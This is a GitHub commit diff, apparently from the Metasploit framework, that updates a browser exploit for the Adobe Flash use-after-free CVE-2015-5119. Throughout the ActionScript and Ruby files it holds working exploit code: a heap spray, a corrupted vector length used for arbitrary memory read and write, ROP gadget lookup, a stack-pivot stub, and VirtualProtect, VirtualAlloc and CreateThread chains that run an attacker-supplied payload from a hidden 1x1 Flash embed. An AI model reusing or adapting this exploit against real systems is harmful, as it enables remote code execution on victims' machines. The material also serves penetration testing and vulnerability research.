Skip to content

Commit b504f0b

Browse files
jvazquez-r7jvazquez-r7
committed
Update adobe_flash_hacking_team_uaf
1 parent f6cdbb6 commit b504f0b

File tree

5 files changed

+87
-121
lines changed

5 files changed

+87
-121
lines changed

‎data/exploits/CVE-2015-5119/msf.swf

19.8 KB
Binary file not shown.

‎external/source/exploits/CVE-2015-5119/Exploit.as

Lines changed: 10 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -8,30 +8,29 @@ package
88

99
public class Exploit extends Sprite
1010
{
11-
private var b64:Base64Decoder = new Base64Decoder()
11+
private var b64:Base64Decoder = new Base64Decoder()
1212
private var payload:ByteArray
1313
private var platform:String
14-
private var os:String
15-
16-
public function Exploit():void
17-
{
18-
//trace("Got to checkpoint 0");
19-
if (stage) init();
20-
else addEventListener(Event.ADDED_TO_STAGE, init);
21-
}
14+
15+
public function Exploit():void
16+
{
17+
//trace("Got to checkpoint 0");
18+
if (stage) init();
19+
else addEventListener(Event.ADDED_TO_STAGE, init);
20+
}
2221

2322
private function init(e:Event = null):void
2423
{
2524
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
26-
os = LoaderInfo(this.root.loaderInfo).parameters.os
2725
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
2826
var pattern:RegExp = / /g;
2927
b64_payload = b64_payload.replace(pattern, "+")
3028
b64.decode(b64_payload)
3129
payload = b64.toByteArray()
3230

3331
removeEventListener(Event.ADDED_TO_STAGE, init);
34-
MyClass.TryExpl(this, platform, os, payload)
32+
Logger.log('TryExpl...')
33+
MyClass.TryExpl(this, platform, payload)
3534
}
3635
}
3736
}

‎external/source/exploits/CVE-2015-5119/Exploiter.as

Lines changed: 59 additions & 89 deletions
Original file line numberDiff line numberDiff line change
@@ -11,27 +11,33 @@ package
1111
private var eba:ExploitByteArray
1212
private var payload:ByteArray
1313
private var platform:String
14-
private var op_system:String
1514
private var pos:uint
1615
private var byte_array_object:uint
1716
private var main:uint
1817
private var stack_object:uint
1918
private var payload_space_object:uint
2019
private var buffer_object:uint
20+
private var magic:uint
21+
private var magic_arg0:uint
22+
private var magic_arg1:uint
23+
private var magic_object:uint
24+
private var magic_table:uint
2125
private var buffer:uint
2226
private var vtable:uint
2327
private var stack_address:uint
2428
private var payload_address:uint
29+
private var stub_address:uint
30+
private var stub_space_object:uint
31+
private var stub:Vector.<uint> = new Vector.<uint>(8)
2532
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
2633
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
2734
private var spray:Vector.<Object> = new Vector.<Object>(90000)
2835

29-
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
36+
public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
3037
{
3138
exploit = exp
3239
payload = p
3340
platform = pl
34-
op_system = os
3541

3642
ev = new ExploitVector(uv, uv_length)
3743
if (!ev.is_ready()) return
@@ -49,16 +55,27 @@ package
4955
cleanup()
5056
}
5157

58+
static function Magic(...a){}
59+
5260
private function spray_objects():void
5361
{
5462
Logger.log("[*] Exploiter - spray_objects()")
63+
64+
// mov eax,[esp+0x4]
65+
// xchg eax,esp
66+
// rets
67+
stub[0] = 0x0424448B
68+
stub[1] = 0x0000C394
69+
5570
for (var i:uint = 0; i < spray.length; i++)
5671
{
5772
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
5873
spray[i][0] = eba.ba
5974
spray[i][1] = exploit
6075
spray[i][2] = stack
6176
spray[i][3] = payload_space
77+
spray[i][4] = Magic
78+
spray[i][5] = stub
6279
}
6380
}
6481

@@ -76,6 +93,9 @@ package
7693
main = ev.at(pos + 1) - 1
7794
stack_object = ev.at(pos + 2) - 1
7895
payload_space_object = ev.at(pos + 3) - 1
96+
magic = ev.at(pos + 4) - 1
97+
Logger.log('magic: 0x' + magic.toString(16))
98+
stub_space_object = ev.at(pos + 5) - 1
7999
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
80100
return false
81101
}
@@ -98,6 +118,12 @@ package
98118
vtable = ev.read(main)
99119
stack_address = ev.read(stack_object + 0x18)
100120
payload_address = ev.read(payload_space_object + 0x18)
121+
stub_address = ev.read(stub_space_object + 0x18)
122+
magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0)
123+
magic_table = ev.read(magic_object)
124+
125+
magic_arg0 = ev.read(magic + 0x1c)
126+
magic_arg1 = ev.read(magic + 0x20)
101127
}
102128

103129
private function corrupt_byte_array():void
@@ -138,13 +164,7 @@ package
138164
if (platform == "linux") {
139165
do_rop_linux()
140166
} else if (platform == "win") {
141-
if (op_system == "Windows 8.1") {
142-
do_rop_windows8()
143-
} else if (op_system == "Windows 7") {
144-
do_rop_windows()
145-
} else {
146-
return
147-
}
167+
do_rop_windows()
148168
} else {
149169
return
150170
}
@@ -167,21 +187,20 @@ package
167187
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
168188

169189
// Continuation of execution
170-
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
171-
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
190+
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable
191+
eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main
172192
eba.write(0, "\x89\x03", false) // mov [ebx], eax
173-
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
193+
eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10
174194

175195
// Put the payload (command) in memory
176196
eba.write(payload_address + 8, payload, true); // payload
177197

178-
// Put the fake vtabe / stack on memory
179-
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
180-
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
198+
// Put the fake stack on memory
181199
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
182-
eba.write(0, virtualprotect)
183-
184-
// VirtualProtect
200+
201+
eba.write(0, virtualprotect)
202+
203+
// VirtualProtect
185204
eba.write(0, virtualalloc)
186205
eba.write(0, buffer + 0x10)
187206
eba.write(0, 0x1000)
@@ -210,76 +229,27 @@ package
210229
eba.write(0, 0)
211230
eba.write(0, 0)
212231
eba.write(0, 0)
213-
214-
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
215-
exploit.toString() // call method in the fake vtable
216-
}
217-
218-
private function do_rop_windows8():void
219-
{
220-
Logger.log("[*] Exploiter - do_rop_windows8()")
221-
var pe:PE = new PE(eba)
222-
var flash:uint = pe.base(vtable)
223-
var winmm:uint = pe.module("winmm.dll", flash)
224-
var advapi32:uint = pe.module("advapi32.dll", flash)
225-
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
226-
var kernel32:uint = pe.module("kernel32.dll", winmm)
227-
var ntdll:uint = pe.module("ntdll.dll", kernel32)
228-
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
229-
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
230-
var createthread:uint = pe.procedure("CreateThread", kernelbase)
231-
var memcpy:uint = pe.procedure("memcpy", ntdll)
232-
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
233-
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
234-
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
235-
236-
// Continuation of execution
237-
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
238-
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
239-
eba.write(0, "\x89\x03", false) // mov [ebx], eax
240-
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
241-
242-
// Put the payload (command) in memory
243-
eba.write(payload_address + 8, payload, true); // payload
244-
245-
// Put the fake vtabe / stack on memory
246-
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
247-
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
248-
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
249-
eba.write(0, virtualprotect)
250-
251-
// VirtualProtect
252-
eba.write(0, virtualalloc)
253-
eba.write(0, buffer + 0x10)
254-
eba.write(0, 0x1000)
255-
eba.write(0, 0x40)
256-
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
257-
258-
// VirtualAlloc
259-
eba.write(0, memcpy)
260-
eba.write(0, 0x7ffd0000)
261-
eba.write(0, 0x4000)
262-
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
263-
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
264-
265-
// memcpy
266-
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
267-
eba.write(0, 0x7ffd0000)
268-
eba.write(0, payload_address + 8)
269-
eba.write(0, payload.length)
270-
271-
// CreateThread
272-
eba.write(0, createthread)
273-
eba.write(0, buffer + 0x10) // return to fix things
274-
eba.write(0, 0)
275-
eba.write(0, 0)
276-
eba.write(0, 0x7ffd0000)
277-
eba.write(0, 0)
278-
eba.write(0, 0)
279-
eba.write(0, 0)
280-
281-
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
282-
exploit.toString() // call method in the fake vtable
232+
233+
for (var i:uint; i < 0x100; i++) {
234+
eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4))
235+
}
236+
237+
// VirtualProtect the stub with a *reliable* stackpivot
238+
eba.write(stack_address + 8 + 0x80 + 28, virtualprotect)
239+
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
240+
eba.write(magic + 0x1c, stub_address)
241+
eba.write(magic + 0x20, 0x10)
242+
var args:Array = new Array(0x41)
243+
Magic.call.apply(null, args);
244+
245+
// Call to our stackpivot and init the rop chain
246+
eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8)
247+
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
248+
eba.write(magic + 0x1c, stack_address + 0x18000)
249+
Magic.call.apply(null, null);
250+
eba.write(magic_object, magic_table);
251+
eba.write(magic + 0x1c, magic_arg0)
252+
eba.write(magic + 0x20, magic_arg1)
283253
}
284254

285255
private function do_rop_linux():void

‎external/source/exploits/CVE-2015-5119/MyClass.as

Lines changed: 15 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
_gc:Array,
1313
_va:Array,
1414
_ba:ByteArray,
15+
_corrupted:Vector.<uint>,
1516
_isDbg:Boolean = Capabilities.isDebugger;
1617

1718
// define malicious valueOf()
@@ -34,7 +35,7 @@
3435
}
3536

3637
// try to corrupt the length value of Vector.<uint>
37-
static function TryExpl(e:Exploit, platform:String, os:String, payload:ByteArray) : Boolean
38+
static function TryExpl(e:Exploit, platform:String, payload:ByteArray) : Boolean
3839
{
3940
Logger.log("tryexpl")
4041
try
@@ -55,7 +56,6 @@
5556
}
5657

5758
// find these pages
58-
var v:Vector.<uint>;
5959
for(i=alen-5; i >= 0; i-=3)
6060
{
6161
// take next allocated ByteArray
@@ -67,17 +67,22 @@
6767
if (_ba[3] != 0) throw new Error("can't cause UaF");
6868

6969
// check results // find corrupted vector
70-
for(var j:int=0; j < _va.length; j++){
71-
v = _va[j];
72-
if (v.length != 0x3f0) {
73-
Logger.log("v.length = 0x" + v.length.toString(16));
74-
var exploiter:Exploiter = new Exploiter(e, platform, os, payload, v, 0x3f0)
75-
Logger.log("v.length = 0x" + v.length.toString(16));
76-
return true
70+
for (var j:int = 0; j < _va.length; j++) {
71+
if (_va[j].length != 0x3f0) {
72+
_corrupted = _va[j]
73+
} else {
74+
delete(_va[j])
75+
_va[j] = null
7776
}
7877
}
78+
79+
if (_corrupted != null) {
80+
Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16));
81+
var exploiter:Exploiter = new Exploiter(e, platform, payload,_corrupted, 0x3f0)
82+
Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16));
83+
return true
84+
}
7985
}
80-
8186
Logger.log("bad allocation. try again.");
8287
}
8388
catch (e:Error)

‎modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb

Lines changed: 3 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@ def initialize(info={})
2121
2222
Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
2323
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
24+
Windows 8.1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
2425
Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194, and
2526
Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.
2627
},
@@ -68,8 +69,6 @@ def initialize(info={})
6869
:flash => lambda do |ver|
6970
case target.name
7071
when 'Windows'
71-
# Note: Chrome might be vague about the version.
72-
# Instead of 18.0.0.203, it just says 18.0
7372
return true if Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194')
7473
when 'Linux'
7574
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.468')
@@ -105,12 +104,6 @@ def exploit
105104
def on_request_exploit(cli, request, target_info)
106105
print_status("Request: #{request.uri}")
107106

108-
if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
109-
print_warning("Target setup not supported")
110-
send_not_found(cli)
111-
return
112-
end
113-
114107
if request.uri =~ /\.swf$/
115108
print_status('Sending SWF...')
116109
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
@@ -125,7 +118,6 @@ def exploit_template(cli, target_info)
125118
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
126119
target_payload = get_payload(cli, target_info)
127120
b64_payload = Rex::Text.encode_base64(target_payload)
128-
os_name = target_info[:os_name]
129121

130122
if target.name =~ /Windows/
131123
platform_id = 'win'
@@ -138,9 +130,9 @@ def exploit_template(cli, target_info)
138130
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
139131
<param name="movie" value="<%=swf_random%>" />
140132
<param name="allowScriptAccess" value="always" />
141-
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
133+
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
142134
<param name="Play" value="true" />
143-
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
135+
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
144136
</object>
145137
</body>
146138
</html>

0 commit comments

Comments
 (0)